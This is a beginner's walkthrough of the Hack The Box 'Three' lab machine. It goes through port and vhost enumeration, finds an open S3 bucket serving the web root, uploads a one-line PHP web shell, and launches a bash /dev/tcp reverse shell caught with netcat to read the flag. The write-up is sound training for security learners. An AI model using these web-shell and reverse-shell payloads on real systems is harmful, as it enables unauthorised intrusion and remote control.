The aim of this walkthrough is to provide help with the Three machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.

It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 1 challenges.


There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is taken care of, we spawn the target machine.

Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.

└──╼ $rhost=<target-hosts-ip>
└──╼ $ echo $rhost 
└──╼ $

We could use the unset command to remove it after we no longer need it.

└──╼ $unset rhost 
└──╼ $


Question: How many TCP ports are open?

We start our recon with a quick connection check by pinging the target four times.

└──╼ $ping $rhost -c 4
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=63 time=10.8 ms
64 bytes from icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from icmp_seq=3 ttl=63 time=10.8 ms
64 bytes from icmp_seq=4 ttl=63 time=11.0 ms

--- ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 10.704/10.801/10.965/0.098 ms
└──╼ $

Once we made sure that we have a stable connection we continue our recon phase with an all-ports tcp scan.

└──╼ $nmap -p- --min-rate=5000 $rhost 
Starting Nmap 7.93 ( ) at 2023-05-08 11:20 BST
Nmap scan report for
Host is up (2.7s latency).
Not shown: 63938 filtered tcp ports (no-response), 1595 closed tcp ports (conn-refused)
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 353.83 seconds
└──╼ $

It looks like we have a webpage to check out.


Maybe it belongs to a band. Nothing that jumps out right away so we continue with dir busting.

└──╼ $gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2023/05/08 11:45:05 Starting gobuster in directory enumeration mode
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/images               (Status: 301) [Size: 317] [-->]
/index.php            (Status: 200) [Size: 11952]                                  
/server-status        (Status: 403) [Size: 279]                                    
2023/05/08 11:45:10 Finished
└──╼ $

Hm…looks like nothing interesting here either.



Question: What is the domain of the email address provided in the "Contact" section of the website?

Once we look around a bit on the website, the answer becomes quite clear.


Interestingly enough, using whatweb in a proper recon phase would also get us the answer.

└──╼ $whatweb $rhost [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[mail@thetoppers.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[], Script, Title[The Toppers]
└──╼ $



Question: In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

On the pwnbox (parrot os, debian based, linux) it can be found at /etc/hosts. Let us check it out.

└──╼ $cat /etc/hosts
# Your system has configured 'manage_etc_hosts' as True.
# As a result, if you wish for changes to this file to persist
# then you will need to either
# a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl
# b.) change or remove the value of 'manage_etc_hosts' in
#     /etc/cloud/cloud.cfg or cloud-config from user-data
# htb-vwn6wdartu localhost

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

└──╼ $

Before we continue, we add the newly found host to ip mapping to our host file.

└──╼ $echo -e "# htb-starting-point-tier-1-three host ip mapping \n$rhost thetoppers.htb" | sudo tee -a /etc/hosts
# htb-starting-point-tier-1-three host ip mapping thetoppers.htb
└──╼ $



Question: Which sub-domain is discovered during further enumeration?

Using gobuster's vhost mode can help us enumerating virtual hosts on our target.

└──╼ $gobuster vhost --help
Uses VHOST enumeration mode

  gobuster vhost [flags]

  -c, --cookies string        Cookies to use for the requests
  -r, --follow-redirect       Follow redirects
  -H, --headers stringArray   Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
  -h, --help                  help for vhost
  -m, --method string         Use the following HTTP method (default "GET")
  -k, --no-tls-validation     Skip TLS certificate verification
  -P, --password string       Password for Basic Auth
      --proxy string          Proxy to use for requests [http(s)://host:port]
      --random-agent          Use a random User-Agent string
      --timeout duration      HTTP Timeout (default 10s)
  -u, --url string            The target URL
  -a, --useragent string      Set the User-Agent string (default "gobuster/3.1.0")
  -U, --username string       Username for Basic Auth

Global Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist
└──╼ $

Once we get familiar enough with it’s usage, we run it with one of the wordlists that comes with seclists when installed.

└──╼ $gobuster vhost -u http://thetoppers.htb/ -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://thetoppers.htb/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2023/05/08 14:54:27 Starting gobuster in VHOST enumeration mode
Found: s3.thetoppers.htb (Status: 404) [Size: 21]
Found: gc._msdcs.thetoppers.htb (Status: 400) [Size: 306]
2023/05/08 14:54:33 Finished
└──╼ $

Great, we found not one, but two possible subdomains. Here we use curl to check them out.

└──╼ $curl s3.thetoppers.htb
curl: (6) Could not resolve host: s3.thetoppers.htb
└──╼ $

It looks like we have the same issue as before and we need to manually add the host to ip resolution to our system, but this time for the subdomain.

└──╼ $echo -e "# htb-starting-point-tier-1-three subdomain host ip mapping\n$rhost s3.thetoppers.htb" | sudo tee -a /etc/hosts
# htb-starting-point-tier-1-three subdomain host ip mapping s3.thetoppers.htb
└──╼ $

Now that the host name resolution is fixed, running the same command does give us an answer back.

└──╼ $curl s3.thetoppers.htb
{"status": "running"}┌─[htb-bluewalle@htb-lhposwyydw][~/three]
└──╼ $



Question: Which service is running on the discovered sub-domain?

Looking up - s3 subdomain {"status": "running"} service - online gives us a better picture.

amazon s3


Question: Which command line utility can be used to interact with the service running on the discovered sub-domain?

A quick online search lands us aws, but there is no available man page installed for it, so as usual, we default to the help option.

AWS()                                                                    AWS()

       aws -

       The  AWS  Command  Line  Interface is a unified tool to manage your AWS

          aws [options] <command> <subcommand> [parameters]

       Use aws command help for information on a  specific  command.  Use  aws
       help  topics  to view a list of available help topics. The synopsis for
       each command shows its parameters and their usage. Optional  parameters
       are shown in square brackets.




Question: Which command is used to set up the AWS CLI installation?

Using - aws configure help - gives us a better idea what the selected option is really supposed to do.

CONFIGURE()                                                        CONFIGURE()

       configure -

       Configure  AWS  CLI  options. If this command is run with no arguments,
       you will be prompted for configuration values such as your  AWS  Access
       Key  Id and your AWS Secret Access Key.  You can configure a named pro-
       file using the --profile argument.  If your config file does not  exist
       (the default location is ~/.aws/config), the AWS CLI will create it for
       you.  To keep an existing value, hit enter when prompted for the value.
       When  you  are prompted for information, the current value will be dis-
       played in [brackets].  If the config item has no value, it be displayed
       as [None].  Note that the configure command only works with values from
       the config file.  It does not use any configuration values  from  envi-
       ronment variables or the IAM role.

       Note:  the values you provide for the AWS Access Key ID and the AWS Se-
       cret Access  Key  will  be  written  to  the  shared  credentials  file


aws configure


Question: What is the command used by the above utility to list all of the S3 buckets?

Similarly to the previous task, we use the built-in help option but this time on the s3 command like - aws s3 help -.

       o cp

       o ls

       o mb

       o mv

       o presign

       o rb

       o rm

       o sync

       o website


And then on the s3 ls command, like - aws s3 ls help -.

LS()                                                                      LS()

       ls -

       List  S3  objects and common prefixes under a prefix or all S3 buckets.
       Note that the --output and --no-paginate arguments are ignored for this

       See 'aws help' for descriptions of global parameters.

          <S3Uri> or NONE
          [--page-size <value>]
          [--request-payer <value>]


Trying to list out the S3 objects available under the - s3.thetoppers.htb - domain gives us an error message.

└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 ls
Unable to locate credentials. You can configure credentials by running "aws configure".
└──╼ $

Configuring it with some random data hopefully fixes it.

└──╼ $aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [None]: test
Default output format [None]: test
└──╼ $

So, how about now? We try again and this time it actually runs. There is one bucket available in the subdomain.

└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 ls
2023-05-08 21:27:42 thetoppers.htb
└──╼ $

To continue, there is a very helpful example in the help option output of (aws s3 ls help).

       Example 2: Listing all prefixes and objects in a bucket

       The following ls command lists objects  and  common  prefixes  under  a
       specified bucket and prefix.  In this example, the user owns the bucket
       mybucket with the objects test.txt and somePrefix/test.txt.  The  Last-
       WriteTime  and Length are arbitrary. Note that since the ls command has
       no interaction with the local filesystem, the s3:// URI scheme  is  not
       required to resolve ambiguity and may be omitted:

          aws s3 ls s3://mybucket


                                     PRE somePrefix/
          2013-07-25 17:06:27         88 test.txt

Trying the mentioned approach and listing the objects in the available bucket works out quite well.

└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb
                           PRE images/
2023-05-08 21:27:42          0 .htaccess
2023-05-08 21:27:42      11952 index.php
└──╼ $

We also notice that the bucket's root directory matches the website’s root directory.

aws s3 ls


Question: This server is configured to run files written in what web scripting language?

Interestingly enough, using the Wappalyzer Firefox extension on the landing page - http://thetoppers.htb - did not recognize the programming language.

But once we modify our landing page to - http://thetoppers.htb/index.php - which we gathered in TASK1 during dir busting, the web scripting language is recognized as php.



Question: Submit root flag

It is time to gather all the little bits of information we collected throughout the previous tasks. So here is what we know:

  • s3 bucket/’s root dir matches the website’s root dir
  • web server can run php files

So we try and upload something that can be run by our target system.

This simple php script does nothing else but runs (on the target system) whatever command was given to the cmd url parameter.

<?php system($_GET["cmd"]); ?>

We save it into a file so that we can later upload it to our bucket. It is important to save it as a .php script file, otherwise it won’t run.

└──╼ $echo '<?php system($_GET["cmd"]); ?>' > test.php
└──╼ $cat test.php 
<?php system($_GET["cmd"]); ?>
└──╼ $

The next thing to do is to try and upload it. Again, there are some nice examples when running aws s3 cp help.

       Copying a local file to S3

       The following cp command copies a single file to a specified bucket and

          aws s3 cp test.txt s3://mybucket/test2.txt


          upload: test.txt to s3://mybucket/test2.txt

Following the examples we upload our php script (.php).

└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 cp test.php s3://thetoppers.htb/test.php
upload: ./test.php to s3://thetoppers.htb/test.php                
└──╼ $

It looks like the upload was successful so it’s time to check it out if it truly works.

└──╼ $curl http://thetoppers.htb/test.php?cmd=whoami
└──╼ $

Since it appears to be working, our next course of action should be to upload a reverse shell. One could look like this:

bash -i >& /dev/tcp/ 0>&1

So we write it in to a file and save it as a bash script (.sh).

└──╼ $cat 
bash -i >& /dev/tcp/ 0>&1
└──╼ $ss

Then we upload it.

└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 cp s3://thetoppers.htb/
upload: ./ to s3://thetoppers.htb/          
└──╼ $

Starting a netcat listener in a new terminal will help us catch it when our reverse shell will try connecting back to us.

└──╼ $nc -lnvp 4321
Ncat: Version 7.93 ( )
Ncat: Listening on :::4321
Ncat: Listening on

All we have to do now is to somehow run our reverse shell. We can do this by running the bash command on the target. But when we try it, we get an error back.

└──╼ $curl "http://thetoppers.htb/test.php?cmd=bash"
curl: (3) URL using bad/illegal format or missing URL

The reason for this is that the url we just used is not properly formatted. Swapping the space character to it’s url encoded format - %20 - should do the trick.

Now if we try and run the same command again, our terminal will get stuck… And we get no output back.

└──╼ $curl "http://thetoppers.htb/test.php?"

But if we go over to our other terminal where the netcat listener was started, we will notice, that our command if fact did work, and we now have a reverse shell to our target.

Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ whoami

Since the flag file does not appear in our current directory, we look around a bit. In the end, it is located at - /var/www/flag.txt -. We grab it to finish the task.

www-data@three:/var/www/html$ cd ..
cd ..
www-data@three:/var/www$ ls
www-data@three:/var/www$ cat flag.txt	
cat flag.txt


Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!